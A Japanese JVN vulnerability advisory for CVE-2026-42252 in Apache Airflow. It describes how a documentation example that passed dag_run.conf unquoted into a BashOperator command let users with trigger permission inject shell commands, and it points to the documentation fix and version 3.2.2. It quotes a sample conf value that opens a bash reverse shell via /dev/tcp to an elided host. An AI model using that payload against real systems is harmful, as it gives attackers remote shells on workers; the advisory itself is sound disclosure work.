JVNDB-2026-017853

Apache Software FoundationのApache Airflowにおけるテンプレートエンジンで使用される特殊な要素の不適切な無効化に関する脆弱性

Apache Airflowの公式ドキュメントのcore-concepts/dag-run.html（「Dagsトリガー時のパラメータ渡し」）において、引用符やサニタイズの警告なしに、そのままの形でBashOperator(bash_command="echo value: {{dag_run.conf['conf1']}}")という例が示されていました。このパターンを、影響を受けるDagに対してユーザーがDag.can_trigger権限を持つ環境（典型的なマルチチーム環境やトリガーAPIを公開するホスティング環境）にそのままコピーした場合、トリガーAPIのconfフィールドを介したシェルのメタ文字列インジェクションに晒される可能性がありました。このため、認証されたトリガーユーザーがconf値として"; bash -i & /dev/tcp/.../9999 0&1; #"を渡すことで、ワーカー上でos.execが実行されてしまう恐れがありました。本CVEはapache/airflowのPR64129におけるドキュメント修正を対象としており、ドキュメント例のパターンには明示的なシェル用の引用符付けと安全上の注意が追加されました。修正前のドキュメント例を元にしたDagコードを使用するデプロイメントに影響がありました。この問題は同種のドキュメントパターン修正の一環であり、ユーザーは修正済みドキュメントを含むapache-airflowバージョン3.2.2以降へのアップグレードを推奨します。

Apache Software Foundation

• Apache Airflow 3.0.0 以上 3.2.2 未満

本脆弱性の影響を受ける製品の詳細については、ベンダ情報および参考情報をご確認ください。

・当該ソフトウェアが扱う全ての情報が外部に漏れる可能性があります。
・当該ソフトウェアが扱う全ての情報が書き換えられる可能性があります。
・当該ソフトウェアは停止しません。

ベンダ情報を参照して適切な対策を実施してください。

Apache Software Foundation

• Pony Mail : CVE-2026-42252: Apache Airflow: BashOperator Jinja2 injection via dag_run.conf ― low-privilege user pattern-Apache Mail Archives

1. テンプレートエンジンで使用される特殊な要素の不適切な無効化(CWE-1336) [その他]

1. CVE-2026-42252

1. National Vulnerability Database (NVD) : CVE-2026-42252
2. 関連文書 : Docs: Fix inconsistency in documents when using `BashOperator` with Jinja templating by sjyangkevin  Pull Request #64129  apache/airflow  GitHub

• [2026年06月04日]
    掲載